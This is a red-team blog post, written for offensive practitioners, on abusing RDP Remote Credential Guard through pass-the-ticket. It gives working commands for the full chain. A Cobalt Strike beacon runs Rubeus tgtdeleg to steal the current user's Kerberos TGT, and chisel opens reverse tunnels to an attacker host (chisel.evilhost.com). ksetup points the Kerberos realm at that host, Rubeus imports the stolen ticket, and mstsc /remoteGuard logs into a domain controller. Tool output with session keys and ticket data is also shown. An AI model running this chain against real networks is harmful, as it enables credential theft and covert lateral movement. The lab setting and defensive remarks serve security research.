Blog: Red Teaming

Abusing RDP’s Remote Credential Guard with Rubeus PTT

Ceri Coburn 22 Oct 2020

TL;DR

  • Microsoft’s Remote Credential Guard (RCG) for RDP  protects creds if an RDP server is compromised.
  • It leaves little scope for password or NTLM credential dumping when a user connects to the server.
  • It does however introduce workstation attack vectors.
  • Abusing a user’s Kerberos token allows Pass-The-Ticket (PTT) attacks and authenticate to RDP servers without credentials.
  • PTT attacks are nothing new, but there are no offensive RDP tool supports RCG (that I know of).
  • We have to resort to using the built in Terminal Services Client and a few tricks to allow Kerberos to fully function from a remote non-domain joined machine.

Introduction

Historically, attacks on RDP using Pass-The-Hash and Pass-The-Ticket techniques have not been possible. Typically, Windows performed an interactive logon when connecting to RDP, therefore valid credentials were always required to perform such logins.

Then came Network Level Authentication (NLA) which was introduced in RDP 6.0 around the time Windows Vista was released. The purpose of NLA is to ensure an authenticated session occurs prior to allocating remote desktop resources and showing the Windows Logon screen. Why waste server resources and expose potential attack vectors prior to authentication. But even through the introduction of NLA, PTH and PTT techniques were still not possible.

Whilst NLA can perform both NTLM and Kerberos authentication, this is only the first phase to satisfy the NLA portion of the protocol. The CredSSP provider used by NLA still required a form of valid credentials within a structure called TSCredentials. Prior to Windows 10, version 1607 and Windows Server 2016, this structure would only permit password or smartcard based credentials.

Remote Credential Guard

Then came along Remote Credential Guard (RCG) and Restricted Admin mode. Both allow the second phase to use NTLM/Kerberos for authentication by introducing another type of credentials called TSRemoteGuardCreds.   Well, that’s not entirely correct, restricted admin mode will happily accept an empty TSPasswordsCreds structure which will be duly ignored by the server when connecting using restricted admin mode.  I won’t go into too much detail on this since @SteveSyfuhs will do a much better job with his How Authentication works when you use Remote Desktop article.

CyberArk also wrote an article called “No more Pass-the-Hash” – Exploring the limitations of Remote Credential Guard. Is essence, if a server is compromised that is remotely administered using RCG, then no credentials are ever exchanged with the remote desktop host, significantly reducing the chance of credential compromise. The TGT ticket imported into the cache on server is also of no use outside of the RDP host either, since it has been delegated to the client machine, as CyberArk explain in their article.  What CyberArk don’t mention though is a primary TGT.

If you can obtain a primary TGT along with its session key, for example one that is produced on a domain joined interactive logon session, then you can use this to authenticate to remote RDP servers with RCG enabled.  Better still, all this can be done without requiring elevated permissions.

Microsoft Diagram of RCG features.

RCG is quite complex, once you have authenticated to the RDP server, a channel is created between the server and the client to allow Kerberos service tickets to be requested from the client on behalf of the RDP server.  After an RDP connection is established with the server, if any additional Kerberos network services are requested within the session, the RCG channel is used for this purpose.  I am yet to find any RDP client that is commonly used for offensive purposes that supports RCG.  FreeRDP allows the use of /pth, but this will enforce restricted admin mode, preventing any further access beyond the RDP host itself.

Killer Combo: Rubeus, Proxifer and Terminal Service Client

So how can we utilise PTT attacks using the only tool that I know of that supports RCG, Windows Terminal Services Client?

There are a few things that Terminal Services Client needs to function in RCG mode.  In addition to the obvious RDP port access, the client also requires functional AD DNS and access to the Kerberos KDC.  This is generally a lot easier when the attacking machine is connected (but not joined) to the same network as AD.  But when performing a red team, seldom do we have access to such a node without raising too many alarms.  Generally, we must hop though a proxy or two to get at our targets from our own box whilst staying under the radar.

In the scenario below I will assume that a Cobalt Strike or similar implant is active on a compromised domain joined workstation.

Proxifer Setup

The first stage is to setup Terminal Services Client to pivot through a SOCKS proxy into the victims Active Directory domain.  You need a capable SOCKS proxy if you intend on bouncing around to different RDP targets within the AD domain.  I tend to use chisel for this purpose.

Typically, the chisel server is setup on a public domain somewhere, accessible from the victims Active Directory network.  Starting the server in a simple HTTP mode on 8080 is as easy as:

chisel server -reverse -socks5

The reverse and socks5 options allow the client to specify reverse proxy and SOCKS5 rules to permit incoming SOCKS into the victim Active Directory network.

Once chisel server is up and running, we need to connect to it from the compromised host to open a route into the AD network.  This would usually be done over the C2 channel

chisel client http://chisel.evilhost.com:8080 R:3128:socks R:88:dc1.hacklab.local:88/udp R:88:dc1.hacklab.local:88

The client will request 3 reverse port forwards, the first is a SOCKS5 capable port that will be listening on port 3128 and the other maps port 88 TCP and UDP to the KDC (DC) host within the Active Directory network.  Unfortunately, Proxifier didn’t seem to use the SOCKS5 port when accessing the KDC, hence the need for direct mappings for port 88.

For those that have not used Proxifier before, it is essentially proxychains for Windows.  The great thing with Proxifer is that there is no need to prefix the app that requires filtering.  You build the rules inside the Proxifer GUI and it will automatically apply the redirection and forward to your SOCKS proxy if the rules match. I’d recommend you do all this from a VM. Installing Proxifer seems to break WSL2 due to the use of Winsock LSP’s.

First things first, setup the Name Resolution settings like below:

Proxifer will intercept all DNS queries on the host and if any match the domain hacklab.local, the resolution will be performed over the configured SOCKS proxies.

Next, we setup the proxy servers required to pivot into the victim AD network.  You will notice the use of localhost here as this is where I setup chisel within the lab scenario, but this would be the address of your chisel server along with the port specified for reverse SOCKS into the AD network.

And finally, we create a Proxification rule to ensure that the mstsc.exe program will use the SOCKS proxy for communication to the target host.

As mentioned earlier, I also added lsass.exe to this rule to automatically attempt to get Kerberos pushed down the SOCKS proxy, but unfortunately for whatever reason this didn’t work.  Even forcing TCP on the KDC realm (see below) did not work.

With Proxifer setup this way, all DNS queries for hacklab.local will be resolved using the SOCKS proxy and any connections to hacklab.local from mstsc.exe will also go via the SOCKS proxy.  This is essence allows AD DNS to function, and access to the RDP host we would like to pivot to in one go.

Manually Adding the Kerberos Realm

Many off domain techniques that use Kerberos tickets to authenticate to a remote service only really need the TGS in question, for example CIFS or LDAP.  This will generally forego the need to communicate with the KDC.  RCG is a little different, the machine seems to need access to the TGT and not the TERMSRV TGS.

I imagine that the reason for this is due to the channel I mentioned earlier.  Not only does the client request the TERMSRV TGS before connecting, it will also request any other service tickets on behalf of the target RDP host when requested.  Now this can be a problem when your machine is not joined to AD.  LSA will notice that the TGT is present within the users Kerberos cache but will struggle to find a valid KDC to request further service tickets.

On a domain joined machine it will look up the Kerberos SRV record based on the domain name the machine is joined to.  Since we are not joined to the domain, the client will fail to resolve the KDC and attempt to fall back on NTLM, triggering a credential dialog when connecting to the RDP target.  We can work around this issue by manually registering a Kerberos realm within Windows from the attacking host machine.

ksetup /addkdc HACKLAB.LOCAL chisel.evilhost.com
ksetup /setrealmflags HACKLAB.LOCAL tcpsupported

Once you have done this, a reboot is required for LSA to refresh the fixed realms now configured within the registry.  The idea here is to inform LSA that it can find the KDC for HACKLAB.LOCAL via the chisel server.  Since we have mapped both TCP and UDP port 88 into the AD network, this will permit LSA to request further tickets via the chisel proxy into the Active Directory network via the compromised host.

Obtaining the TGT

Unlike NTLM hashes, we don’t need elevated privileges to obtain a TGT that can be used for PTT. Typically, TGT’s are also locked away within LSASS just like NTLM hashes are.  Partial TGT info can be requested from user mode but key information is missing that is only stored inside LSASS.

Using a trick that @gentilkiwi and co found, you can fill in these blanks with delegation tickets.  @Harmj0y does a great job explaining how this works in his Rubeus – Now With More Kekeo blog post whilst he was adding the tgtdeleg feature to Rubeus.  We can request the current users TGT like this over a CS beacon implant on the compromised host:

beacon> execute-assembly C:\tools\Rubeus.exe tgtdeleg /nowrap

[*] Tasked beacon to run .NET program: Rubeus.exe tgtdeleg /nowrap
[+] host called home, sent: 356939 bytes
[+] received output:
   ______        _                     
  (_____ \      | |                    
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/


v1.5.0

[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc1.hacklab.local'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: HXscMHx0OckqQHg2ijyLdd8gbSr0H3jik/HbZ/LfpW8=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

doIFjjCCBYqgAwIBBaEDAgEWooIEZzCCBGNhggRfMIIEW6ADAgEFoQ8bDUhBQ0tMQUIuTE9DQUyiIjAgoAMCAQ……….FDS0xBQi5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNSEFDS0xBQi5MT0NBTA==

Importing TGT Into the Attacking Windows Host

Once you have dumped the users TGT over your C2 channel you can then import this into your attacking windows machine.  Again, Rubeus can be used for this.  Running the following from an elevated command prompt will import the TGT that was stolen in the previous step.

Rubeus.exe ptt /ticket:doIFjjCCBYqgAw………i5MT0NBTA==

   ______        _                     
  (_____ \      | |                    
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

v1.5.0

[*] Action: Import Ticket
[+] Ticket successfully imported!

Issuing a klist command should confirm the imported TGT into the current session:
klist

Current LogonId is 0:0x15cf57

Cached Tickets: (1)

#0>     Client: Administrator @ HACKLAB.LOCAL
        Server: krbtgt/HACKLAB.LOCAL @ HACKLAB.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
        Start Time: 10/19/2020 15:20:43 (local)
        End Time:   10/20/2020 1:20:07 (local)
        Renew Time: 10/26/2020 15:20:07 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

One thing to note here, if you have other Kerberos tickets not belonging to the victim domain then you are likely domain joined yourself, in which case you should start a clean session without any Kerberos tickets available.  This can be achieved using Rubeus createnetonly or runas /netonly command prior to importing the ticket.

Pivoting to the Host

The last step of the attack is to simply invoke mstsc.exe from the session we imported the TGT into in the previous step and with the correct arguments to utilise RCG.  The client will be forced through Proxifer for AD DNS lookups and RDP.  LSA will use the chisel server’s port 88 directly for additional Kerberos tickets that need resolving for HACKLAB.LOCAL.

mstsc /remoteGuard /v:dc1.hacklab.local

If everything worked correctly you should be greeted with the desktop of your new compromised host.

You should also be able to see the additional TERMSRV TGS from the attacking host machine that mstsc.exe would have requested during connection.

klist

Current LogonId is 0:0x15cf57

Cached Tickets: (2)

#0> Client: Administrator @ HACKLAB.LOCAL
Server: krbtgt/HACKLAB.LOCAL @ HACKLAB.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
Start Time: 10/19/2020 22:04:22 (local)
End Time: 10/20/2020 8:04:22 (local)
Renew Time: 10/26/2020 22:04:22 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called:

#1> Client: Administrator @ HACKLAB.LOCAL
Server: TERMSRV/dc1.hacklab.local @ HACKLAB.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x60a50000 -> forwardable forwarded renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 10/19/2020 22:08:04 (local)
End Time: 10/20/2020 8:04:22 (local)
Renew Time: 10/26/2020 22:04:22 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: dc1.hacklab.local

Conclusion

Remote Credential Guard is an excellent feature for protecting credentials when connecting to a compromised server.  Since no credentials are exchanged and the TGT is not exportable for abuse, it protects the high privilege accounts connecting to servers protected by RCG.

Of course, if you flip the compromise on its head and end up on a workstation, you may find yourself vulnerable to this kind of attack.  If a user that has rights to connect to RDP hosts and RCG is enabled within the AD network, then you no longer need to compromise any account passwords to connect to the RDP hosts, you simply swipe the TGT and Pass-The-Ticket.